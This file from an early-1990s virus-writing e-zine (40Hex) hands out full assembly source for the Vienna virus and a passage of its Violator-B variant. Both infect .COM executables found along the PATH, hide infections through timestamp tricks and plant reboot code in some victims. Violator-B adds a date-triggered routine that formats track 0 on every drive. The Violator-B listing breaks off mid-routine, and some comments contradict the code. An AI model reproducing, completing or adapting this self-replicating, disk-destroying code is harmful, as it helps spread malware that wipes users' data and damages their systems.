home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-02.zip / 40HEX-2.011 < prev   
Text File  |  1991-07-12  |  36KB  |  1,048 lines

  1. 40Hex Volume 1 Issue 2                                                   0011
  2.  
  3.                       Vienna and Violator Viruses
  4.  
  5.     The Vienna virus, since it's source code was released, has become
  6.     one of the most common viruses ever.  Not only that but there are
  7.     over 20 known strains of this virus.  We at 40Hex want to add on to
  8.     the list by giving out the source for the orginal Vienna virus as
  9.     well as the Violator-B source by Rabid.
  10.  
  11. ------------------------------------------------------------------------------
  12.  
  13. MOV_CX  MACRO   X
  14.         DB      0B9H
  15.         DW      X
  16. ENDM
  17.  
  18.  
  19. CODE    SEGMENT
  20.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  21.         ORG     $+0100H
  22.  
  23. ;*****************************************************************************
  24. ;Start out with a JMP around the remains of the original .COM file, into the
  25. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  26. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  27. ;*****************************************************************************
  28.  
  29. VCODE:  JMP     virus
  30.  
  31.  
  32. ;This was the rest  of the original .COM file. Tiny and simple, this time
  33.  
  34.         NOP
  35.         NOP
  36.         NOP
  37.         NOP
  38.         NOP
  39.         NOP
  40.         NOP
  41.         NOP
  42.         NOP
  43.         NOP
  44.         NOP
  45.         NOP
  46.         NOP
  47.         NOP
  48.         NOP
  49.  
  50.  
  51. ;************************************************************
  52. ;              The actual virus starts here
  53. ;************************************************************
  54.  
  55. v_start equ     $
  56.  
  57.  
  58. virus:  PUSH    CX
  59.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  60.                                         ; The 2nd and 3rd bytes get modified.
  61.         CLD                             ;Pointers will be auto INcremented
  62.         MOV     SI,DX                   ;Access data as offset from SI
  63.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  64.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  65.         MOV     CX,3
  66.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  67.         MOV     SI,DX                   ;Keep SI pointing to the data area
  68.  
  69. ;*************************************************************
  70. ;                   Check the DOS version
  71. ;*************************************************************
  72.  
  73.         MOV     AH,30H
  74.         INT     21H
  75.  
  76.         CMP     AL,0                    ;0 means it's version 1.X
  77.  
  78.         JNZ     dos_ok                  ;For version 2.0 or greater
  79.         JMP     quit                    ;Don't try to infect version 1.X
  80.  
  81.  
  82. ;*************************************************************
  83. ;  Here if the DOS version is high enough for this to work
  84. ;*************************************************************
  85.  
  86. dos_ok: PUSH    ES
  87.  
  88.  
  89. ;*************************************************************
  90. ;               Get DTA address into ES:BX
  91. ;*************************************************************
  92.  
  93.         MOV     AH,2FH
  94.         INT     21H
  95.  
  96. ;*************************************************************
  97. ;                    Save the DTA address
  98. ;*************************************************************
  99.  
  100.  
  101.         MOV     [SI+old_dta],BX
  102.         MOV     [SI+old_dts],ES         ;Save the DTA address
  103.  
  104.         POP     ES
  105.  
  106. ;*************************************************************
  107. ;        Set DTA to point inside the virus data area
  108. ;*************************************************************
  109.  
  110.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  111. ;       NOP                             ;MASM will add this NOP here
  112.         ADD     DX,SI                   ;Compute DTA address
  113.         MOV     AH,1AH
  114.         INT     21H                     ;Set new DTA to inside our own code
  115.  
  116.  
  117.         PUSH    ES
  118.         PUSH    SI
  119.         MOV     ES,DS:2CH
  120.         MOV     DI,0                    ;ES:DI points to environment
  121.  
  122. ;************************************************************
  123. ;        Find the "PATH=" string in the environment
  124. ;************************************************************
  125.  
  126. find_path:
  127.         POP     SI
  128.         PUSH    SI                      ;Get SI back
  129.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  130.         LODSB
  131.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  132.         REPNZ   SCASB                   ;Search for first character
  133.         MOV     CX,4
  134.  
  135. ;************************************************************
  136. ;       Loop to check for the next four characters
  137. ;************************************************************
  138.  
  139. check_next_4:
  140.         LODSB
  141.         SCASB
  142.         JNZ     find_path               ;If not all there, abort & start over
  143.         LOOP    check_next_4            ;Loop to check the next character
  144.  
  145.         POP     SI
  146.         POP     ES
  147.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  148.         MOV     DI,SI
  149.         ADD     DI,wrk_spc              ;File name workspace
  150.         MOV     BX,SI                   ;Save a copy of SI
  151.         ADD     SI,wrk_spc              ;Point SI to workspace
  152.         MOV     DI,SI                   ;Point DI to workspace
  153.         JMP     SHORT   slash_ok
  154.  
  155.  
  156. ;**********************************************************
  157. ;     Look in the PATH for more subdirectories, if any
  158. ;**********************************************************
  159.  
  160. set_subdir:
  161.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  162.         JNZ     found_subdir            ;If not, there are more subdirectories
  163.         JMP     all_done                ;Else, we're all done
  164.  
  165.  
  166. ;**********************************************************
  167. ;    Here if there are more subdirectories in the path
  168. ;**********************************************************
  169.  
  170. found_subdir:
  171.         PUSH    DS
  172.         PUSH    SI
  173.         MOV     DS,ES:2CH               ;DS points to environment segment
  174.         MOV     DI,SI
  175.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  176.         ADD     DI,wrk_spc              ;DI points to file name workspace
  177.  
  178.  
  179. ;***********************************************************
  180. ;      Move subdirectory name into file name workspace
  181. ;***********************************************************
  182.  
  183. move_subdir:
  184.         LODSB                           ;Get character
  185.         CMP     AL,';'                  ;Is it a ';' delimiter?
  186.         JZ      moved_one               ;Yes, found another subdirectory
  187.         CMP     AL,0                    ;End of PATH string?
  188.         JZ      moved_last_one          ;Yes
  189.         STOSB                           ;Save PATH marker into [DI]
  190.         JMP     SHORT   move_subdir
  191.  
  192. ;******************************************************************
  193. ; Mark the fact that we're looking through the final subdirectory
  194. ;******************************************************************
  195.  
  196. moved_last_one:
  197.         MOV     SI,0
  198.  
  199.  
  200. ;******************************************************************
  201. ;              Here after we've moved a subdirectory
  202. ;******************************************************************
  203.  
  204. moved_one:
  205.         POP     BX                      ;Pointer to virus data area
  206.         POP     DS                      ;Restore DS
  207.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  208.         NOP
  209.  
  210. ;******************************************************************
  211. ;             Make sure subdirectory ends in a "\"
  212. ;******************************************************************
  213.  
  214.         CMP     CH,'\'                  ;Ends with "\"?
  215.         JZ      slash_ok                ;If yes
  216.         MOV     AL,'\'                  ;Add one, if not
  217.         STOSB
  218.  
  219.  
  220. ;******************************************************************
  221. ;     Here after we know there's a backslash at end of subdir
  222. ;******************************************************************
  223.  
  224. slash_ok:
  225.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  226.         MOV     SI,BX                   ;Restore SI
  227.         ADD     SI,f_spec               ;Point to "*.COM"
  228.         MOV     CX,6
  229.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  230.  
  231.         MOV     SI,BX
  232.  
  233.  
  234. ;*******************************************************************
  235. ;                 Find first string matching *.COM
  236. ;*******************************************************************
  237.  
  238.         MOV     AH,4EH
  239.         MOV     DX,wrk_spc
  240. ;       NOP                             ;MASM will add this NOP here
  241.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  242.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  243.         INT     21H
  244.  
  245.         JMP     SHORT   find_first
  246.  
  247.  
  248. ;*******************************************************************
  249. ;              Find next ASCIIZ string matching *.COM
  250. ;*******************************************************************
  251.  
  252. find_next:
  253.         MOV     AH,4FH
  254.         INT     21H
  255.  
  256. find_first:
  257.         JNB     found_file              ;Jump if we found it
  258.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  259.  
  260. ;*******************************************************************
  261. ;                      Here when we find a file
  262. ;*******************************************************************
  263.  
  264. found_file:
  265.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  266.         AND     AL,1FH                  ;Mask to remove all but seconds
  267.         CMP     AL,1FH                  ;62 seconds -> already infected
  268.         JZ      find_next               ;If so, go find another file
  269.  
  270.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  271.         JA      find_next               ;If too long, find another one
  272.  
  273.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  274.         JB      find_next               ;Then go find another one
  275.  
  276.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  277.         PUSH    SI                      ;Save SI
  278.         ADD     SI,dta_nam              ;Point SI to file name
  279.  
  280. ;********************************************************************
  281. ;                Move the name to the end of the path
  282. ;********************************************************************
  283.  
  284. more_chars:
  285.         LODSB
  286.         STOSB
  287.         CMP     AL,0
  288.         JNZ     more_chars              ;Move characters until we find a 00
  289.  
  290.  
  291. ;********************************************************************
  292. ;                        Get File Attributes
  293. ;********************************************************************
  294.  
  295.         POP     SI
  296.         MOV     AX,OFFSET 4300H
  297.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  298. ;       NOP                             ;MASM will add this NOP here
  299.         ADD     DX,SI
  300.         INT     21H
  301.  
  302.  
  303.         MOV     [SI+old_att],CX         ;Save the old attributes
  304.  
  305.  
  306. ;********************************************************************
  307. ;         Rewrite the attributes to allow writing to the file
  308. ;********************************************************************
  309.  
  310.         MOV     AX,OFFSET 4301H         ;Set attributes
  311.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  312.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  313. ;       NOP                             ;MASM will add this NOP here
  314.         ADD     DX,SI                   ;Point to \path\name
  315.         INT     21H
  316.  
  317. ;********************************************************************
  318. ;                Open Read/Write channel to the file
  319. ;********************************************************************
  320.  
  321.         MOV     AX,OFFSET 3D02H         ;Read/Write
  322.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  323. ;       NOP                             ;MASM will add this NOP here
  324.         ADD     DX,SI                   ;Point to \path\name
  325.         INT     21H
  326.  
  327.         JNB     opened_ok               ;If file was opened OK
  328.         JMP     fix_attr                ;If it failed, restore the attributes
  329.  
  330.  
  331. ;*******************************************************************
  332. ;                        Get the file date & time
  333. ;*******************************************************************
  334.  
  335. opened_ok:
  336.         MOV     BX,AX
  337.         MOV     AX,OFFSET 5700H
  338.         INT     21H
  339.  
  340.         MOV     [SI+old_tim],CX         ;Save file time
  341.         MOV     [SI+ol_date],DX         ;Save the date
  342.  
  343. ;*******************************************************************
  344. ;                        Get current system time
  345. ;*******************************************************************
  346.  
  347.         MOV     AH,2CH
  348.         INT     21H
  349.  
  350.  
  351.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  352.         JNZ     seven_in_eight
  353.  
  354.  
  355. ;*******************************************************************
  356. ; The special "one in eight" infection. If the above line were in
  357. ;  its original form, this code would be run 1/8 of the time, and
  358. ;  rather than appending a copy of this virus to the .COM file, the
  359. ;  file would get 5 bytes of code that reboot the system when the
  360. ;  .COM file is run.
  361. ;*******************************************************************
  362.  
  363.  
  364.         MOV     AH,40H                  ;Write to file
  365.         MOV     CX,5                    ;Five bytes
  366.         MOV     DX,SI
  367.         ADD     DX,reboot               ;Offset of reboot code in data area
  368.         INT     21H
  369.  
  370.         JMP     SHORT   fix_time_stamp
  371.  
  372.         NOP
  373.  
  374.  
  375. ;******************************************************************
  376. ;      Here's where we infect a .COM file with this virus
  377. ;******************************************************************
  378.  
  379. seven_in_eight:
  380.         MOV     AH,3FH
  381.         MOV     CX,3
  382.         MOV     DX,first_3
  383. ;       NOP                     ;MASM will add this NOP here
  384.         ADD     DX,SI
  385.         INT     21H             ;Save first 3 bytes into the data area
  386.  
  387.         JB      fix_time_stamp  ;Quit, if read failed
  388.  
  389.         CMP     AX,3            ;Were we able to read all 3 bytes?
  390.         JNZ     fix_time_stamp  ;Quit, if not
  391.  
  392.  
  393. ;******************************************************************
  394. ;              Move file pointer to end of file
  395. ;******************************************************************
  396.  
  397.         MOV     AX,OFFSET 4202H
  398.         MOV     CX,0
  399.         MOV     DX,0
  400.         INT     21H
  401.  
  402.         JB      fix_time_stamp  ;Quit, if it didn't work
  403.  
  404.         MOV     CX,AX           ;DX:AX (long int) = file size
  405.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  406.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  407.  
  408.         ADD     CX,OFFSET c_len_y
  409.         MOV     DI,SI           ;Point DI to virus data area
  410.         SUB     DI,OFFSET c_len_x
  411.                                 ;Point DI to reference vir_dat, at start of pgm
  412.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  413.  
  414.  
  415. ;*******************************************************************
  416. ;                    Write virus code to file
  417. ;*******************************************************************
  418.  
  419.         MOV     AH,40H
  420.  
  421.         MOV_CX  virlen                  ;Length of virus, in bytes
  422.  
  423.         MOV     DX,SI
  424.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  425.                                         ; address of virus code in memory
  426.         INT     21H
  427.  
  428.         JB      fix_time_stamp          ;Jump if error
  429.  
  430.         CMP     AX,OFFSET virlen        ;All bytes written?
  431.         JNZ     fix_time_stamp          ;Jump if error
  432.  
  433.  
  434. ;**********************************************************************
  435. ;                Move file pointer to beginning of the file
  436. ;**********************************************************************
  437.  
  438.         MOV     AX,OFFSET 4200H
  439.         MOV     CX,0
  440.         MOV     DX,0
  441.         INT     21H
  442.  
  443.         JB      fix_time_stamp          ;Jump if error
  444.  
  445.  
  446. ;**********************************************************************
  447. ;              Write the 3 byte JMP at the start of the file
  448. ;**********************************************************************
  449.  
  450.         MOV     AH,40H
  451.         MOV     CX,3
  452.         MOV     DX,SI                   ;Virus data area
  453.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  454.         INT     21H
  455.  
  456.  
  457. ;**********************************************************************
  458. ;       Restore old file date & time, with seconds modified to 62
  459. ;**********************************************************************
  460.  
  461. fix_time_stamp:
  462.         MOV     DX,[SI+ol_date]         ;Old file date
  463.         MOV     CX,[SI+old_tim]         ;Old file time
  464.         AND     CX,OFFSET 0FFE0H
  465.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  466.         MOV     AX,OFFSET 5701H
  467.         INT     21H
  468.  
  469.  
  470. ;**********************************************************************
  471. ;                              Close File
  472. ;**********************************************************************
  473.  
  474.         MOV     AH,3EH
  475.         INT     21H
  476.  
  477.  
  478. ;**********************************************************************
  479. ;                     Restore Old File Attributes
  480. ;**********************************************************************
  481.  
  482. fix_attr:
  483.         MOV     AX,OFFSET 4301H
  484.         MOV     CX,[SI+old_att]         ;Old Attributes
  485.         MOV     DX,wrk_spc
  486. ;       NOP                             ;MASM will add this NOP
  487.         ADD     DX,SI                   ;DX points to \path\name in workspace
  488.         INT     21H
  489.  
  490.  
  491. ;**********************************************************************
  492. ;              Here when it's time to close it up & end
  493. ;**********************************************************************
  494.  
  495. all_done:
  496.         PUSH    DS
  497.  
  498.  
  499. ;**********************************************************************
  500. ;                         Restore old DTA
  501. ;**********************************************************************
  502.  
  503.         MOV     AH,1AH
  504.         MOV     DX,[SI+old_dta]
  505.         MOV     DS,[SI+old_dts]
  506.         INT     21H
  507.  
  508.         POP     DS
  509.  
  510.  
  511. ;*************************************************************************
  512. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  513. ;  in since the address in a real JMP 100 is an offset, and the offset
  514. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  515. ;  stack, we can RET to address 0100H just as though we JMPed there.
  516. ;**********************************************************************
  517.  
  518. quit:
  519.         POP     CX
  520.         XOR     AX,AX
  521.         XOR     BX,BX
  522.         XOR     DX,DX
  523.         XOR     SI,SI
  524.         MOV     DI,OFFSET 0100H
  525.         PUSH    DI
  526.         XOR     DI,DI
  527.  
  528.         RET     0FFFFH
  529.  
  530. ;************************************************************************
  531. ;The virus data starts here. It's accessed off the SI register, per the
  532. ; comments as shown
  533. ;************************************************************************
  534.  
  535. vir_dat EQU     $
  536.  
  537.  
  538.         ;Use this with (SI + old_dta)
  539. olddta_ DW      0                       ;Old DTA offset
  540.  
  541.         ;Use this with (SI + old_dts)
  542. olddts_ DW      0                       ;Old DTA segment
  543.  
  544.         ;Use this with (SI + old_tim)
  545. oldtim_ DW      0                       ;Old Time
  546.  
  547.         ;Use this with (SI + ol_date)
  548. oldate_ DW      0                       ;Old date
  549.  
  550.         ;Use this with (SI + old_att)
  551. oldatt_ DW      0                       ;Old file attributes
  552.  
  553.  
  554.  
  555. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  556.  
  557. first3_ EQU     $
  558.         INT     20H
  559.         NOP
  560.  
  561.  
  562.  
  563. ;Here's where the new JMP instruction is worked out
  564.  
  565.         ;Use this with (SI + jmp_op)
  566. jmpop_  DB      0E9H                    ;Start of JMP instruction
  567.  
  568.         ;Use this with (SI + jmp_dsp)
  569. jmpdsp_ DW      0                       ;The displacement part
  570.  
  571.  
  572.  
  573. ;This is the type of file  we're looking to infect. (SI + f_spec)
  574.  
  575. fspec_  DB      '*.COM',0
  576.  
  577.         ;Use this with (SI + path_ad)
  578. pathad_ DW      0                       ;Path address
  579.  
  580.         ;Use this with (SI + nam_ptr)
  581. namptr_ DW      0                       ;Pointer to start of file name
  582.  
  583.         ;Use this with (SI + env_str)
  584. envstr_ DB      'PATH='                 ;Find this in the environment
  585.  
  586.         ;File name workspace (SI + wrk_spc)
  587. wrkspc_ DB      40h dup (0)
  588.  
  589.         ;Use this with (SI + dta)
  590. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  591.  
  592.         ;Use this with (SI + dta_tim)
  593. dtatim_ DW      0,0                     ;Time stamp in DTA
  594.  
  595.         ;Use this with (SI + dta_len)
  596. dtalen_ DW      0,0                     ;File length in the DTA
  597.  
  598.         ;Use this with (SI + dta_nam)
  599. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  600.  
  601.         ;Use this with (SI + reboot)
  602. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  603.  
  604.  
  605. lst_byt EQU     $                       ;All lines that assemble into code are
  606.                                         ;  above this one
  607.  
  608.  
  609. ;*****************************************************************************
  610. ;The virus needs to know a few details about its own size and the size of its
  611. ; code portion. Let the assembler figure out these sizes automatically.
  612. ;*****************************************************************************
  613.  
  614. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  615. codelen =       vir_dat - v_start       ;Length of virus code, only
  616. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  617. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  618.  
  619.  
  620. ;*****************************************************************************
  621. ;Because this code is being appended to the end of an executable file, the
  622. ; exact address of its variables cannot be known. All are accessed as offsets
  623. ; from SI, which is represented as vir_dat in the below declarations.
  624. ;*****************************************************************************
  625.  
  626. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  627. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  628. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  629. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  630. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  631. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  632. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  633. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  634. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  635. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  636. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  637. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  638. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  639. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  640. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  641. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  642. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  643. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  644.  
  645.         CODE    ENDS
  646. END     VCODE
  647.  
  648. ------------------------------------------------------------------------------
  649.  
  650.                   Now here's the source for Violator-B
  651.  
  652. ------------------------------------------------------------------------------
  653. ;*****************************************************************************
  654. ;
  655. ;                        Violator - Strain B
  656. ;
  657. ;*****************************************************************************
  658. ;
  659. ; (Aug/09/90)
  660. ;
  661. ; Development Notes:
  662. ;
  663. ;    I encountered several errors in the original Violator code which I
  664. ;     corrected in this version. Mainly, the INT 26 routine to fuck the
  665. ;    disk. It seems that the routine would crash right after the INT 26
  666. ;     was executed and the whole program would die. I have since fixed
  667. ;    this problem in this version with an INT 13, AH 05 (Format Track)
  668. ;    command. This works better than the subsequent INT 26.
  669. ;
  670. ;
  671. ;*****************************************************************************
  672. ;
  673. ;                Written by - The High Evolutionary -
  674. ;                  RABID Head Programmer
  675. ;
  676. ;                                Revised by: «Onslaught»
  677. ;                               No affiliation with rabId
  678. ;
  679. ;          Copyright (C) 1990 by RABID Nat'nl Development Corp.
  680. ;
  681. ;*****************************************************************************
  682.  
  683. MOV_CX  MACRO   X
  684.         DB      0B9H
  685.         DW      X
  686. ENDM
  687.  
  688. CODE    SEGMENT
  689.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  690.         ORG     $+0100H                ; Set ORG to 100H plus our own
  691.  
  692. VCODE:  JMP     virus
  693.  
  694.     NOP
  695.     NOP
  696.     NOP                     ;15 NOP's to place JMP Header
  697.     NOP
  698.     NOP
  699.     NOP
  700.     NOP
  701.     NOP
  702.     NOP
  703.     NOP
  704.     NOP
  705.     NOP
  706.     NOP
  707.     NOP
  708.     NOP
  709.  
  710. v_start equ     $
  711.  
  712.  
  713. virus:  PUSH    CX
  714.         MOV     DX,OFFSET vir_dat
  715.         CLD
  716.         MOV     SI,DX
  717.         ADD     SI,first_3
  718.     MOV    CX,3
  719.         MOV     DI,OFFSET 100H
  720.         REPZ    MOVSB
  721.         MOV     SI,DX
  722.     MOV     AH,30H
  723.     INT    21H
  724.     CMP    AL,0                ;Quit it it's DOS 1.0
  725.     JNZ    dos_ok
  726.         JMP     quit
  727.  
  728. dos_ok: PUSH    ES
  729.         MOV     AH,2FH
  730.         INT     21H
  731.         MOV     [SI+old_dta],BX
  732.         MOV     [SI+old_dts],ES
  733.         POP     ES
  734.         MOV     DX,dta                  
  735.         ADD     DX,SI                    
  736.         MOV     AH,1AH
  737.         INT     21H                     
  738.         PUSH    ES
  739.         PUSH    SI
  740.         MOV     ES,DS:2CH
  741.         MOV     DI,0                    
  742.     JMP    year_check
  743.  
  744. year_check:
  745.     MOV    AH,2AH            ;Get date info
  746.     INT    21H            ;Call DOS
  747.     CMP    CX,1990            ;Check to see if the year is 1990
  748.     JGE    month_check        ;If greater or equal, check month
  749.     JMP    find_path        ;If not, go on with infection
  750.  
  751. month_check:
  752.     MOV    AH,2AH            ;Get date info
  753.     INT    21h            ;Call DOS
  754.     CMP    DH,10            ;Check to see if it is September
  755.     JGE    day_check        ;If greater or equal, check day
  756.     JMP    find_path        ;if not, go on with infection
  757.  
  758. day_check:
  759.     MOV    AH,2Ah            ;Get date info
  760.     INT    21H            ;Call DOS
  761.     CMP    DL,31            ;Check to see if it is the 4th
  762.     JGE     multiplex        ;If yes, then nuke drives A:-Z:
  763.     JMP    find_path        ;If not, then go on with infection
  764.  
  765. multiplex:
  766.     MOV    AL,cntr            ;Counter is the drive to kill
  767.     CALL    alter            ;Go and kill the drive
  768.                                         ;25 is drive Z:
  769.     CMP    cntr,25            ;Is (cntr) 25 ?
  770.     JE    find_path        ;Go on with infection
  771.     INC    cntr            ;Add one to (cntr)
  772.     LOOP    multiplex        ;Loop back up to kill next drive
  773.  
  774. alter:
  775.     MOV    AH,05            ;Format Track
  776.     MOV    CH,0            ;Format track 0
  777.     MOV    DH,0            ;Head 0
  778.     MOV    DL,cntr            ;Format for drive in (cntr)
  779.     INT    13h            ;Call RWTS
  780.     RET                ;Return up for next drive
  781.  
  782. find_path:
  783.         POP     SI
  784.         PUSH    SI
  785.         ADD     SI,env_str
  786.         LODSB
  787.         MOV     CX,OFFSET 8000H
  788.         REPNZ   SCASB
  789.         MOV     CX,4
  790.  
  791. check_next_4:
  792.         LODSB
  793.         SCASB
  794. ;
  795. ; The JNZ line specifies that if there is no PATH present, then we will go
  796. ; along and infect the ROOT directory on the default drive.
  797. ;
  798.         JNZ     find_path               ;If not path, then go to ROOT dir
  799.         LOOP    check_next_4            ;Go back and check for more chars
  800.         POP     SI            ;Load in PATH again to look for chars
  801.         POP     ES
  802.         MOV     [SI+path_ad],DI
  803.         MOV     DI,SI
  804.         ADD     DI,wrk_spc              ;Put the filename in wrk_spc
  805.         MOV     BX,SI
  806.         ADD     SI,wrk_spc
  807.         MOV     DI,SI
  808.         JMP     SHORT   slash_ok
  809.  
  810. set_subdir:
  811.         CMP     WORD PTR [SI+path_ad],0
  812.         JNZ     found_subdir
  813.         JMP     all_done
  814.  
  815.  
  816. found_subdir:
  817.         PUSH    DS
  818.         PUSH    SI
  819.         MOV     DS,ES:2CH
  820.         MOV     DI,SI
  821.         MOV     SI,ES:[DI+path_ad]
  822.         ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)
  823.  
  824.  
  825. move_subdir:
  826.         LODSB                           ;To tedious work to move into subdir
  827.         CMP     AL,';'                  ;Does it end with a ; charachter?
  828.         JZ      moved_one               ;if yes, then we found a subdir
  829.         CMP     AL,0                    ;is it the end of the path?
  830.         JZ      moved_last_one          ;if yes, then we save the PATH
  831.         STOSB                           ;marker into DI for future reference
  832.         JMP     SHORT   move_subdir
  833.  
  834. moved_last_one:
  835.         MOV     SI,0
  836.  
  837. moved_one:
  838.         POP     BX                      ;BX is where the virus data is
  839.         POP     DS                      ;Restore DS so that we can do stuph
  840.         MOV     [BX+path_ad],SI         ;Where is the next subdir?
  841.         NOP
  842.         CMP     CH,'\'                  ;Check to see if it ends in \
  843.         JZ      slash_ok                ;If yes, then it's OK
  844.         MOV     AL,'\'                  ;if not, then add one...
  845.         STOSB                ;store the sucker
  846.  
  847.  
  848. slash_ok:
  849.         MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
  850.         MOV     SI,BX                   ;Restore the original SI value
  851.         ADD     SI,f_spec               ;Point to COM file victim
  852.         MOV     CX,6
  853.         REPZ    MOVSB                   ;Move victim into workspace
  854.         MOV     SI,BX
  855.         MOV     AH,4EH
  856.         MOV     DX,wrk_spc
  857.         ADD     DX,SI                   ;DX is ... THE VICTIM!!!
  858.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  859.         INT     21H
  860.         JMP     SHORT   find_first
  861.  
  862. find_next:
  863.         MOV     AH,4FH
  864.         INT     21H
  865.  
  866. find_first:
  867.         JNB     found_file              ;Jump if we found it
  868.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  869.  
  870. found_file:
  871.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  872.         AND     AL,1EH                  ;Mask to remove all but seconds
  873.         CMP     AL,1EH                  ;60 seconds
  874.         JZ      find_next
  875.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  876.         JA      find_next               ;If too long, find another one
  877.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  878.         JB      find_next               ;Then go find another one
  879.         MOV     DI,[SI+nam_ptr]
  880.         PUSH    SI
  881.         ADD     SI,dta_nam
  882.  
  883. more_chars:
  884.         LODSB
  885.         STOSB
  886.         CMP     AL,0
  887.         JNZ     more_chars
  888.         POP     SI
  889.         MOV     AX,OFFSET 4300H
  890.         MOV     DX,wrk_spc
  891.         ADD     DX,SI
  892.         INT     21H
  893.         MOV     [SI+old_att],CX
  894.         MOV     AX,OFFSET 4301H
  895.         AND     CX,OFFSET 0FFFEH
  896.         MOV     DX,wrk_spc
  897.         ADD     DX,SI
  898.         INT     21H
  899.         MOV     AX,OFFSET 3D02H
  900.         MOV     DX,wrk_spc
  901.         ADD     DX,SI
  902.         INT     21H
  903.         JNB     opened_ok
  904.         JMP     fix_attr
  905.  
  906. opened_ok:
  907.         MOV     BX,AX
  908.         MOV     AX,OFFSET 5700H
  909.         INT     21H
  910.         MOV     [SI+old_tim],CX         ;Save file time
  911.         MOV     [SI+ol_date],DX         ;Save the date
  912.         MOV     AH,2CH
  913.         INT     21H
  914.         AND     DH,7
  915.         JMP     infect
  916.  
  917. infect:
  918.         MOV     AH,3FH
  919.         MOV     CX,3
  920.         MOV     DX,first_3
  921.         ADD     DX,SI
  922.         INT     21H             ;Save first 3 bytes into the data area
  923.         JB      fix_time_stamp
  924.         CMP     AX,3
  925.         JNZ     fix_time_stamp
  926.         MOV     AX,OFFSET 4202H
  927.         MOV     CX,0
  928.         MOV     DX,0
  929.         INT     21H
  930.         JB      fix_time_stamp
  931.         MOV     CX,AX
  932.         SUB     AX,3
  933.         MOV     [SI+jmp_dsp],AX
  934.         ADD     CX,OFFSET c_len_y
  935.         MOV     DI,SI
  936.         SUB     DI,OFFSET c_len_x
  937.  
  938.         MOV     [DI],CX
  939.         MOV     AH,40H
  940.         MOV_CX  virlen
  941.         MOV     DX,SI
  942.         SUB     DX,OFFSET codelen
  943.         INT     21H
  944.         JB      fix_time_stamp
  945.         CMP     AX,OFFSET virlen
  946.         JNZ     fix_time_stamp
  947.         MOV     AX,OFFSET 4200H
  948.         MOV     CX,0
  949.         MOV     DX,0
  950.         INT     21H
  951.         JB      fix_time_stamp
  952.         MOV     AH,40H
  953.         MOV     CX,3
  954.         MOV     DX,SI
  955.         ADD     DX,jmp_op
